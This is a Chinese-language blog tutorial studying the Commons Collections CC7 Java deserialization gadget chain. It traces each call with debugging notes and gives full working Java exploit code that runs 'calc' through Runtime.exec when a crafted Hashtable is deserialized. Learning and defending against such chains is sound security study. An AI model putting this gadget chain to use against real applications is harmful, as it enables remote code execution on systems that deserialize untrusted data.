CC7链

学习文章:https://drun1baby.top/2022/06/29/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Commons-Collections%E7%AF%8708-CC7%E9%93%BE/

环境搭建

和CC1一样:https://yschen20.github.io/2025/11/05/CC1%E9%93%BE%EF%BC%88TransformedMap%E7%89%88%EF%BC%89/#%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA

分析链子

CC7和CC5一样,后面部分是CC1的LazyMap.get()

直接看 ysoserial 跟着分析

image-20260202204835668

开始时Hashtable.readObject,最后调用到Hashtable#reconstitutionPut

image-20260202205157389

然后跟进看reconstitutionPut,这里可以调到equals()

image-20260202205301367

这个链子继续跟进就是调到AbstractMapDecorator#equals(),这个函数里还会再调一次equals()

image-20260202205637647

AbstractMapDecorator继承了Map接口,继续找就是要找含有equals()方法的Map实现类

image-20260202205949406

然后就是AbstractMap#equals(),这里可以调到get()方法,衔接上下面的CC1的LazyMap.get()

image-20260202205745110

后面就是CC1了,整个链子就这些

构造链子

然后开始构造链子,依旧先是序列化和反序列化函数:

1
2
3
4
5
6
7
8
9
public static void serialize(Object o) throws Exception {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
objectOutputStream.writeObject(o);
}
public static Object unserialize(String file) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
Object oic = ois.readObject();
return oic;
}

后面是CC1的LazyMap,直接代码拿来用:

1
2
3
4
5
6
7
8
9
10
Class c = Runtime.class;
Transformer[] t = new Transformer[]{
new ConstantTransformer(c),
new InvokerTransformer("getDeclaredMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedtransformer = new ChainedTransformer(t);
HashMap<Object, Object> hashMap = new HashMap<>();
Map lazyMap = LazyMap.decorate(hashMap, chainedtransformer);

先把开头的Hashtable写了,然后一点点调试

image-20260202213233755

要调的reconstitutionPutfor循环里,传入三个参数,其中keyvalue就可以通过Hashtable.put()方法传入:

image-20260202213411464

这里就可以将构造好的lazyMap作为key传入:

1
2
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap,"CC7");

然后开始调试:

先在下面这两处下断点,看看能不能走进reconstitutionPut函数里

image-20260202214019309

可以走到想要的这个函数,继续走进看看

image-20260202214114612

然后equals()和前一句for循环这里下个断点看看能不能走到

image-20260202214301271

可以走到for循环这里

image-20260202214519300

但是继续发现没有进入for循环

image-20260202214544684

看一下进入for循环的条件是e != nulle的定义是Entry<?,?> e = tab[index],而tab[index]是空的,所以就不会进入for循环里

继续往下走就会给tab[index]赋值了,此时就不为空

image-20260202215326831

继续走会又回到readObjectfor循环这里,注意看此时还是第一次循环,elements的值为1

image-20260202215507036

继续走一步结束这个循环,elements的值就为0

image-20260202215623528

现在想要在进入到这个循环里,去走进reconstitutionPut,刚才第一次循环的时候已经给tab[index]赋值了,所以第二次的时候就可以进入到reconstitutionPut函数里的那个for循环了

但是这里readObjectfor循环条件是elements > 0,所以就要想办法让elements的初始值为2

这里去看 ysoserial 的链子,发现它是多了一个lazyMap,并且调用了两次LazyMap.put()方法

image-20260202221041838

这里像它一样再加上一次看看:

1
2
3
4
5
6
7
8
9
10
11
HashMap<Object, Object> hashMap1 = new HashMap<>();
HashMap<Object, Object> hashMap2 = new HashMap<>();

Map lazyMap1 = LazyMap.decorate(hashMap1, chainedtransformer);
lazyMap1.put("aa",1);
Map lazyMap2 = LazyMap.decorate(hashMap2, chainedtransformer);
lazyMap2.put("bb",2);

Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1,1);
hashtable.put(lazyMap2,2);

这里 put 传入 a 这种单字符的时候就会在序列化的时候报错,反序列化调试时候也会出现问题:第二次 readObject 的 for 循环进不去想要的 reconstitutionPut 方法里,但是传入 aa 这种双字符的就没问题了,不懂为什么

image-20260202232852476

重新调试,elements就变成2

image-20260202221236768

这里AI一下为什么会这样,elements这个值哪来的:

image-20260202221346839

所以这里就要传入两个键值对

继续调试,第一次到下面这里依旧没有进入for循环,但是给tab[index]赋值了

image-20260202221524716

然后到第二次for循环时候,就可以进到reconstitutionPut的这个for循环中

image-20260202224437978

但是会发现这里并没有进入到equals方法中

image-20260202224525937

这就说明第一个条件(e.hash == hash)没有满足,这里的e = tab[index],在第一次循环中给tab[index]赋值是:tab[index] = new Entry<>(hash, key, value, e);,其中的hash = key.hashCode();,第一次循环时候的keya,也就是说e.hash等同于aa.hashCode()

image-20260202231106731

然后是后面的hash就是第二次循环时的hash = key.hashCode();,此时的key应该时bb,所以说hash等同于bb.hashCode,所以:

1
(e.hash == hash) => (aa.hashCode() == bb.hashCode())

可能理解的有点不严谨,但最终应该就是要满足两个 key 的 hashCode 相同

所以要找能满足这个条件的,再去看官方的链子里怎么写的:

image-20260202224703984

它这里传入的是yyzZ,这就是一个Java的小Bug:

1
"yy".hashCode() == "zZ".hashCode() = 3872

所以只要在前面put的时候传入的两个key分别是yyzZ即可,这里value的值也要一样:

1
2
3
4
5
6
7
8
9
10
11
HashMap<Object, Object> hashMap1 = new HashMap<>();
HashMap<Object, Object> hashMap2 = new HashMap<>();

Map lazyMap1 = LazyMap.decorate(hashMap1, chainedtransformer);
lazyMap1.put("yy",1);
Map lazyMap2 = LazyMap.decorate(hashMap2, chainedtransformer);
lazyMap2.put("zZ",1);

Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1,1);
hashtable.put(lazyMap2,2);

image-20260203104022144

再看官方链子,最后还用了lazyMap2.remove("yy");

image-20260203104231049

AI解释一下:

image-20260203105025665

这是因为在Hashtable.put()方法中也会调用到equals()方法:

image-20260203105502754

当执行到hashtable.put(lazyMap2,1)的时候,Hashtable会遍历存储的东西,检查是否存在相同的key,在第一步的时候lazyMap1就存进去了,为了确定是不是同一个key,就会执行entry.key.equals(key),这里就是会去调用AbstractMap.equals()

image-20260203113630670

上面equals()方法中传入的o和后来的m都是lazyMap2this是第一次就传入进去的lazyMap1,再下面是用了while循环去遍历lazyMap1Entry,此时的key就是yy,继续走到m.get(key)这里时,也就相当于执行了lazyMap2.get("yy"),但是lazyMap2里没有yy这个键,所以就会自动生成一个yy键存到lazyMap2里,这就会导致后面比较hashCode()的时候就不相同了,调试看看:

Hashtable.put()这下俩断点:

image-20260203112417307

再要传入lazyMap2这里也下一个:

image-20260203114458297

开始调试,先F9跟进到传入lazyMap2这里,此时只有一个zZ

image-20260203114523640

继续F9跟进到putfor循环这里,此时还没调用equals()key只有zZ

image-20260203112824743

继续F9一次,执行到if语句,去调用进equals

image-20260203112917430

可以F7步入看看,先调用AbstractMapDecorator.equals()

image-20260203113118523

继续是AbstractMap.equals(),到getKey()这里获取到的key就是yy

image-20260203113411330

继续到下面这,此时的m也就是lazyMap2还只有一个zZ

image-20260203113755260

执行完这一句后就会多了一个yy

image-20260203113907607

此时再去看main里的lazyMap2,会多了一个yy

image-20260203114854904

所以要多写一个removelazyMap2里多的这个yy移除:

1
lazyMap2.remove("yy");

image-20260203115154643

此时的EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.util.*;

public class CC7 {
public static void main(String[] args) throws Exception{
Class c = Runtime.class;
Transformer[] t = new Transformer[]{
new ConstantTransformer(c),
new InvokerTransformer("getDeclaredMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedtransformer = new ChainedTransformer(t);

HashMap<Object, Object> hashMap1 = new HashMap<>();
HashMap<Object, Object> hashMap2 = new HashMap<>();

Map lazyMap1 = LazyMap.decorate(hashMap1, chainedtransformer);
lazyMap1.put("yy",1);
Map lazyMap2 = LazyMap.decorate(hashMap2, chainedtransformer);
lazyMap2.put("zZ",1);

Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1,1);
hashtable.put(lazyMap2,1);

lazyMap2.remove("yy");

serialize(hashtable);
unserialize("ser.bin");
}

public static void serialize(Object o) throws Exception {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
objectOutputStream.writeObject(o);
}
public static Object unserialize(String file) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
Object oic = ois.readObject();
return oic;
}
}

运行会弹俩计算器,在序列化的时候就会弹一次

image-20260203115239075

可以先在前面给ChainedTransformer传一个空的Transformer对象

1
ChainedTransformer chainedtransformer = new ChainedTransformer(new Transformer[]{});

在最后再利用反射改回构造好的t

1
2
3
Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(chainedtransformer,t);

image-20260203115819096

运行没问题了

image-20260203115914774

完整代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.*;

public class CC7 {
public static void main(String[] args) throws Exception{
Class c = Runtime.class;
Transformer[] t = new Transformer[]{
new ConstantTransformer(c),
new InvokerTransformer("getDeclaredMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"})
};
// ChainedTransformer chainedtransformer = new ChainedTransformer(t);
ChainedTransformer chainedtransformer = new ChainedTransformer(new Transformer[]{});

HashMap<Object, Object> hashMap1 = new HashMap<>();
HashMap<Object, Object> hashMap2 = new HashMap<>();

Map lazyMap1 = LazyMap.decorate(hashMap1, chainedtransformer);
lazyMap1.put("yy",1);
Map lazyMap2 = LazyMap.decorate(hashMap2, chainedtransformer);
lazyMap2.put("zZ",1);

Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1,1);
hashtable.put(lazyMap2,1);

Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(chainedtransformer,t);

lazyMap2.remove("yy");

serialize(hashtable);
unserialize("ser.bin");
}

public static void serialize(Object o) throws Exception {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
objectOutputStream.writeObject(o);
}
public static Object unserialize(String file) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
Object oic = ois.readObject();
return oic;
}
}


CC7链
https://yschen20.github.io/2026/02/03/CC7链/
作者
Suzen
发布于
2026年2月3日
更新于
2026年2月3日
许可协议